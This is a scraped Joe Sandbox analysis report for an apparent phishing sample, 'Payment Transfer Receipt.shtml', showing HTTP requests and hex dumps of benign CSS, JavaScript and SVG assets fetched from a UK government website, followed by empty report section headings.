to improve this website. Do not give any personal information because we cannot reply to you directly.</p> </div> <button type="submit" class="ds_button ds_no-m

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:00 UTC	555	OUT	GET /app/assets/main-4b805198.css HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aib.gov.uk/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:05:01 UTC	857	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:00 GMT Content-Type: text/css Content-Length: 166198 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding ETag: "1da900c604792b6" Last-Modified: Tue, 16 Apr 2024 14:42:59 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170500Z-17d878cdc76bgckx2kxw4hfqb400000004a000000000wffs Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:01 UTC	15527	IN	Data Raw: 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 2e 33 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 68 75 62 2e 63 6f 6d 2f 6e 65 63 6f 6c 61 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 2a 2f 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f Data Ascii: /! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css /html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,sectio
2024-05-01 17:05:01 UTC	16384	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 7b 2e 64 73 5f 5c 21 5f 6d 61 72 67 69 6e 2d 72 69 67 68 74 2d 2d 32 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 64 73 5f 5c 21 5f 6d 61 72 67 69 6e 2d 74 6f 70 2d 2d 32 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 7b 2e 64 73 5f 5c 21 5f 6d 61 72 67 69 6e 2d 74 6f 70 2d 2d 32 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 72 65 6d 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 2e 64 73 5f 5c 21 5f 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 2d 2d 32 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 21 69 6d Data Ascii: !important}@media (min-width: 768px){.ds_\!_margin-right--2{margin-right:1rem!important}}.ds_\!_margin-top--2{margin-top:1rem!important}@media (min-width: 768px){.ds_\!_margin-top--2{margin-top:1rem!important}}.ds_\!_margin-bottom--2{margin-bottom:1rem!im
2024-05-01 17:05:01 UTC	16384	IN	Data Raw: 72 74 61 6e 74 3b 6f 75 74 6c 69 6e 65 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 75 74 6c 69 6e 65 2d 77 69 64 74 68 3a 34 70 78 21 69 6d 70 6f 72 74 61 6e 74 3b 6f 75 74 6c 69 6e 65 2d 6f 66 66 73 65 74 3a 2d 34 70 78 7d 7d 2e 64 73 5f 72 61 64 69 6f 5f 5f 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 2b 2e 64 73 5f 72 61 64 69 6f 5f 5f 6c 61 62 65 6c 3a 61 66 74 65 72 7b 6f 70 61 63 69 74 79 3a 31 7d 2e 64 73 5f 72 61 64 69 6f 2d 2d 73 6d 61 6c 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 36 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 38 70 78 7d 2e 64 73 5f 72 61 64 69 6f 2d 2d 73 6d 61 6c 6c 20 2e 64 73 5f 72 61 64 69 6f 5f 5f 6c 61 62 65 6c 3a 62 65 66 6f 72 65 7b 68 65 69 67 68 74 3a 31 2e 35 72 65 6d 3b 6c 65 66 74 Data Ascii: rtant;outline-style:solid!important;outline-width:4px!important;outline-offset:-4px}}.ds_radio__input:checked+.ds_radio__label:after{opacity:1}.ds_radio--small{margin-bottom:16px;margin-left:-8px}.ds_radio--small .ds_radio__label:before{height:1.5rem;left
2024-05-01 17:05:01 UTC	16384	IN	Data Raw: 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 30 3b 74 6f 70 3a 30 7d 2e 64 73 5f 62 75 74 74 6f 6e 2d 2d 68 61 73 2d 69 63 6f 6e 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 37 32 70 78 7d 2e 64 73 5f 62 75 74 74 6f 6e 2d 2d 68 61 73 2d 69 63 6f 6e 2d 2d 6c 65 66 74 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 37 32 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 31 36 70 78 7d 2e 64 73 5f 62 75 74 74 6f 6e 2d 2d 68 61 73 2d 69 63 6f 6e 2d 2d 6c 65 66 74 20 2e 64 73 5f 69 63 6f 6e 7b 6c 65 66 74 3a 30 3b 72 69 67 68 74 3a 61 75 74 6f 7d 2e 64 73 5f 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 64 73 5f 6e 6f 74 69 66 69 Data Ascii: sizing:content-box;pointer-events:none;position:absolute;right:0;top:0}.ds_button--has-icon{padding-right:72px}.ds_button--has-icon--left{padding-left:72px;padding-right:16px}.ds_button--has-icon--left .ds_icon{left:0;right:auto}.ds_notification.ds_notifi
2024-05-01 17:05:01 UTC	16384	IN	Data Raw: 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 33 33 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 64 73 5f 64 61 74 65 70 69 63 6b 65 72 5f 5f 64 69 61 6c 6f 67 5f 5f 74 61 62 6c 65 20 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 63 6f 6c 6f 72 3a 23 33 33 33 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7a 2d 69 6e 64 65 78 3a 32 7d 2e 64 73 5f 64 61 74 65 70 69 63 6b 65 72 5f 5f 64 69 61 6c 6f 67 5f 5f 74 61 62 6c 65 2d 63 61 70 74 69 6f 6e 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 35 72 65 6d 3b 63 61 70 74 69 6f 6e 2d 73 69 64 65 3a 62 6f 74 74 6f 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 7b 2e 64 73 5f 64 61 74 65 70 Data Ascii: {background-color:#333;color:#fff}.ds_datepicker__dialog__table button:focus{color:#333;position:relative;z-index:2}.ds_datepicker__dialog__table-caption{font-size:.75rem;caption-side:bottom;line-height:2;margin-top:8px}@media (min-width: 768px){.ds_datep
2024-05-01 17:05:01 UTC	16384	IN	Data Raw: 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 7b 2e 64 73 5f 70 61 67 69 6e 61 74 69 6f 6e 5f 5f 6c 6f 61 64 2d 6d 6f 72 65 2b 2e 64 73 5f 70 61 67 69 6e 61 74 69 6f 6e 5f 5f 6c 69 73 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 64 73 5f 70 61 67 69 6e 61 74 69 6f 6e 5f 5f 6c 6f 61 64 2d 6d 6f 72 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 64 73 5f 70 61 67 69 6e 61 74 69 6f 6e 5f 5f 6c 69 6e 6b 2d 2d 69 63 6f 6e 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 77 69 64 74 68 3a 61 75 74 6f 7d 2e 64 73 5f 70 61 67 69 6e 61 74 69 6f 6e 5f 5f 6c 69 6e 6b 2d 2d 69 63 6f 6e 20 2e 64 73 5f 70 61 67 69 6e 61 74 69 6f 6e 5f 5f Data Ascii: nter-events:none}@media (min-width: 768px){.ds_pagination__load-more+.ds_pagination__list{display:block}.ds_pagination__load-more{display:none}.ds_pagination__link--icon{padding-left:0;padding-right:0;width:auto}.ds_pagination__link--icon .ds_pagination__
2024-05-01 17:05:01 UTC	16384	IN	Data Raw: 69 67 61 74 69 6f 6e 5f 5f 6c 69 6e 6b 3a 61 66 74 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 62 6f 74 74 6f 6d 3a 2d 35 70 78 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 68 65 69 67 68 74 3a 31 70 78 3b 6c 65 66 74 3a 35 30 25 3b 6f 70 61 63 69 74 79 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 35 30 25 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6c 65 66 74 20 2e 32 73 2c 72 69 67 68 74 20 2e 32 73 2c 6f 70 61 63 69 74 79 20 2e 32 73 7d 2e 64 73 5f 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2e 64 73 5f 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 6c 69 6e 6b 3a 68 6f 76 65 72 3a 61 66 74 65 72 7b 6c 65 66 74 3a 30 3b 6f 70 61 63 69 74 79 3a 31 3b 72 69 67 68 74 3a 30 Data Ascii: igation__link:after{background-color:currentColor;bottom:-5px;content:"";height:1px;left:50%;opacity:0;position:absolute;right:50%;transition:left .2s,right .2s,opacity .2s}.ds_site-navigation .ds_site-navigation__link:hover:after{left:0;opacity:1;right:0
2024-05-01 17:05:01 UTC	16384	IN	Data Raw: 61 64 3e 74 72 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 64 73 5f 74 61 62 6c 65 20 74 62 6f 64 79 3e 74 72 3e 74 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 64 73 5f 74 61 62 6c 65 20 74 62 6f 64 79 3e 74 72 3a 6e 74 68 2d 63 68 69 6c 64 28 32 6e 29 3e 74 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 38 66 38 66 38 7d 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 7b 2e 64 73 5f 74 61 62 6c 65 2e 6a 73 2d 69 73 2d 73 63 72 6f 6c 6c 69 6e 67 5b 64 61 74 61 2d 73 6d 61 6c 6c 73 63 72 65 65 6e 3d 73 63 72 6f 6c 6c 69 6e 67 5d 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 Data Ascii: ad>tr:last-child{border-bottom:0}.ds_table tbody>tr>td{background-color:#fff}.ds_table tbody>tr:nth-child(2n)>td{background-color:#f8f8f8}@media (max-width: 767px){.ds_table.js-is-scrolling[data-smallscreen=scrolling]{display:block;max-width:100%;overflow
2024-05-01 17:05:01 UTC	16384	IN	Data Raw: 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 35 72 65 6d 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 63 61 6c 63 28 31 2e 35 72 65 6d 20 2d 20 31 70 78 29 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 63 61 6c 63 28 31 2e 35 72 65 6d 20 2d 20 31 70 78 29 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 7b 2e 64 73 5f 77 61 72 6e 69 6e 67 2d 74 65 78 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 72 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 72 65 6d 7d 7d 2e 64 73 5f 77 61 72 6e 69 6e 67 2d 74 65 78 74 3e 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 7b 2e 64 73 5f 77 61 72 6e 69 6e 67 2d 74 65 78 74 7b 70 61 Data Ascii: margin-bottom:1.5rem;padding-top:calc(1.5rem - 1px);padding-bottom:calc(1.5rem - 1px)}@media (min-width: 768px){.ds_warning-text{margin-top:2rem;margin-bottom:2rem}}.ds_warning-text>:last-child{margin-bottom:0}@media (min-width: 768px){.ds_warning-text{pa
2024-05-01 17:05:01 UTC	16384	IN	Data Raw: 20 68 32 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 35 72 65 6d 7d 2e 6d 6f 64 75 6c 65 2d 2d 63 61 72 64 20 2e 64 73 5f 77 72 61 70 70 65 72 20 6e 61 76 20 2e 64 73 5f 63 61 74 65 67 6f 72 79 2d 6c 69 73 74 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 35 72 65 6d 7d 2e 6d 6f 64 75 6c 65 2d 2d 63 61 72 64 20 2e 64 73 5f 77 72 61 70 70 65 72 20 6e 61 76 20 2e 64 73 5f 63 61 74 65 67 6f 72 79 2d 6c 69 73 74 20 2e 64 73 5f 63 61 74 65 67 6f 72 79 2d 6c 69 73 74 20 2e 64 73 5f 63 61 72 64 20 2e 64 73 5f 63 61 74 65 67 6f 72 79 2d 69 74 65 6d 20 2e 64 73 5f 63 61 74 65 67 6f 72 79 2d 69 74 65 6d 5f 5f 74 69 74 6c 65 20 2e 64 73 5f 63 61 74 65 67 6f 72 79 2d 69 74 65 6d 5f 5f 6c 69 6e 6b 7b 63 6f 6c 6f 72 3a 23 33 Data Ascii: h2{color:#fff;margin-bottom:1.5rem}.module--card .ds_wrapper nav .ds_category-list{margin-bottom:1.5rem}.module--card .ds_wrapper nav .ds_category-list .ds_category-list .ds_card .ds_category-item .ds_category-item__title .ds_category-item__link{color:#3

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:00 UTC	569	OUT	GET /app/assets/main-849c19e6.js HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.aib.gov.uk sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.aib.gov.uk/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:05:00 UTC	870	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:00 GMT Content-Type: application/javascript Content-Length: 75279 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding ETag: "1da900c60443d8f" Last-Modified: Tue, 16 Apr 2024 14:42:59 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170500Z-1744c668d97zlxs59791at57w80000000190000000002s3t Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:00 UTC	15514	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 3d 7b 69 6e 69 74 28 29 7b 69 66 28 74 79 70 65 6f 66 20 43 53 53 3e 22 75 22 7c 7c 21 43 53 53 2e 73 75 70 70 6f 72 74 73 28 22 73 65 6c 65 63 74 6f 72 28 68 74 6d 6c 3a 68 61 73 28 62 6f 64 79 29 29 22 29 29 7b 63 6f 6e 73 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 64 73 5f 70 61 67 65 5f 5f 6d 69 64 64 6c 65 22 29 3b 65 26 26 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 64 73 5f 70 72 65 2d 66 6f 6f 74 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 22 29 26 26 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 6a 73 2d 70 72 65 2d 66 6f 6f 74 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 22 29 7d 7d 7d 3b 66 75 6e 63 74 69 6f 6e 20 72 28 29 7b 72 65 74 75 72 6e 20 Data Ascii: (function(){var n={init(){if(typeof CSS>"u"\|\|!CSS.supports("selector(html:has(body))")){const e=document.querySelector(".ds_page__middle");e&&e.querySelector(".ds_pre-footer-background")&&e.classList.add("js-pre-footer-background")}}};function r(){return
2024-05-01 17:05:00 UTC	16384	IN	Data Raw: 2d 62 75 74 74 6f 6e 22 2c 60 64 61 74 65 70 69 63 6b 65 72 2d 24 7b 74 68 69 73 2e 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 69 64 7d 2d 74 6f 67 67 6c 65 60 29 2c 74 68 69 73 2e 69 73 4d 75 6c 74 69 70 6c 65 49 6e 70 75 74 3f 74 68 69 73 2e 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 68 69 73 2e 63 61 6c 65 6e 64 61 72 42 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 29 3a 28 74 68 69 73 2e 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 68 69 73 2e 63 61 6c 65 6e 64 61 72 42 75 74 74 6f 6e 45 6c 65 6d 65 6e 74 29 2c 74 68 69 73 2e 69 6e 70 75 74 45 6c 65 6d 65 6e 74 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 63 Data Ascii: -button",`datepicker-${this.inputElement.id}-toggle`),this.isMultipleInput?this.inputElement.parentNode.parentNode.appendChild(this.calendarButtonElement):(this.inputElement.parentNode.appendChild(this.calendarButtonElement),this.inputElement.parentNode.c
2024-05-01 17:05:01 UTC	16384	IN	Data Raw: 73 2e 6d 6f 62 69 6c 65 4d 65 6e 75 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 64 73 5f 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 6c 69 6e 6b 22 29 29 2e 66 6f 72 45 61 63 68 28 65 3d 3e 7b 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 2c 2d 31 29 7d 29 7d 65 6e 61 62 6c 65 4d 65 6e 75 4c 69 6e 6b 73 28 29 7b 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 6d 6f 62 69 6c 65 4d 65 6e 75 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 64 73 5f 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 6c 69 6e 6b 22 29 29 2e 66 6f 72 45 61 63 68 28 65 3d 3e 7b 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 74 61 62 69 6e 64 65 78 22 29 7d 29 7d 7d 2c 24 3d 63 6c 61 73 73 7b 63 6f Data Ascii: s.mobileMenu.querySelectorAll(".ds_site-navigation__link")).forEach(e=>{e.setAttribute("tabindex",-1)})}enableMenuLinks(){[].slice.call(this.mobileMenu.querySelectorAll(".ds_site-navigation__link")).forEach(e=>{e.removeAttribute("tabindex")})}},$=class{co
2024-05-01 17:05:01 UTC	16384	IN	Data Raw: 63 68 28 74 3d 3e 7b 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 64 73 5f 65 72 72 6f 72 2d 73 75 6d 6d 61 72 79 5f 5f 6c 69 73 74 20 61 22 29 29 2e 66 6f 72 45 61 63 68 28 73 3d 3e 7b 21 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 66 6f 72 6d 22 29 26 26 73 2e 68 72 65 66 26 26 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 66 6f 72 6d 22 2c 60 65 72 72 6f 72 2d 24 7b 73 2e 68 72 65 66 2e 73 75 62 73 74 72 69 6e 67 28 73 2e 68 72 65 66 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 22 23 22 29 2b 31 29 7d 60 29 7d 29 7d 29 7d 2c 65 78 74 65 72 6e 61 6c 4c 69 6e 6b 73 3a 66 75 6e 63 74 69 6f 6e 28 65 3d 64 6f 63 75 6d 65 6e 74 29 7b 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c Data Ascii: ch(t=>{[].slice.call(t.querySelectorAll(".ds_error-summary__list a")).forEach(s=>{!s.getAttribute("data-form")&&s.href&&s.setAttribute("data-form",`error-${s.href.substring(s.href.lastIndexOf("#")+1)}`)})})},externalLinks:function(e=document){[].slice.cal
2024-05-01 17:05:01 UTC	10613	IN	Data Raw: 61 63 6b 74 79 70 65 5d 3a 63 68 65 63 6b 65 64 22 29 2e 76 61 6c 75 65 3b 74 68 69 73 2e 75 70 64 61 74 65 44 61 74 61 4c 61 79 65 72 28 66 2c 22 66 65 65 64 62 61 63 6b 53 65 6c 65 63 74 22 29 7d 29 7d 29 7d 2c 61 74 74 61 63 68 45 76 65 6e 74 48 61 6e 64 6c 65 72 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 66 6f 72 6d 45 6c 65 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 73 75 62 6d 69 74 22 2c 6e 3d 3e 7b 6e 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 5b 6e 61 6d 65 3d 66 65 65 64 62 61 63 6b 74 79 70 65 5d 3a 63 68 65 63 6b 65 64 22 29 26 26 74 68 69 73 2e 73 75 62 6d 69 74 46 65 65 64 62 61 63 6b 28 29 7d 29 7d 2c 73 75 62 6d 69 74 46 Data Ascii: acktype]:checked").value;this.updateDataLayer(f,"feedbackSelect")})})},attachEventHandlers:function(){this.formElement.addEventListener("submit",n=>{n.preventDefault(),document.querySelector("[name=feedbacktype]:checked")&&this.submitFeedback()})},submitF

Timestamp	Bytes transferred	Direction	Data
2024-05-01 17:05:00 UTC	598	OUT	GET /images/stock/aib-logo.svg HTTP/1.1 Host: www.aib.gov.uk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aib.gov.uk/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-01 17:05:00 UTC	860	IN	HTTP/1.1 200 OK Date: Wed, 01 May 2024 17:05:00 GMT Content-Type: image/svg+xml Content-Length: 9257 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding ETag: "1da549d10d744a9" Last-Modified: Wed, 31 Jan 2024 23:27:33 GMT Strict-Transport-Security: max-age=15768000;preload X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1;mode=block Referrer-Policy: strict-origin Permissions-Policy: accelerometer=(), ambient-light-sensor=(), geolocation=(), gyroscope=(), microphone=(), midi=(), payment=() Content-Security-Policy: manifest-src 'self' x-azure-ref: 20240501T170500Z-1744c668d97p566w34wdvtg9ng0000000580000000007tnb Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 64500433 X-Cache: TCP_MISS Server: FD-Cache-Files Accept-Ranges: bytes
2024-05-01 17:05:00 UTC	9257	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 64 61 74 61 2d 6e 61 6d 65 3d 22 4c 61 79 65 72 20 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 30 2e 30 31 20 35 35 2e 37 35 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 2e 63 6c 73 2d 31 20 7b 0a 20 20 20 20 20 20 20 20 66 69 6c 6c 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 2e 63 6c 73 2d 31 2c 20 2e 63 6c 73 2d 32 2c 20 2e 63 6c 73 2d 33 20 7b 0a 20 20 20 20 20 20 20 20 73 74 72 6f 6b 65 2d 77 69 64 74 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg id="Layer_1" data-name="Layer 1" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 120.01 55.75"> <defs> <style> .cls-1 { fill: none; } .cls-1, .cls-2, .cls-3 { stroke-widt

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Payment Transfer Receipt.shtml

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Boot Survival

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

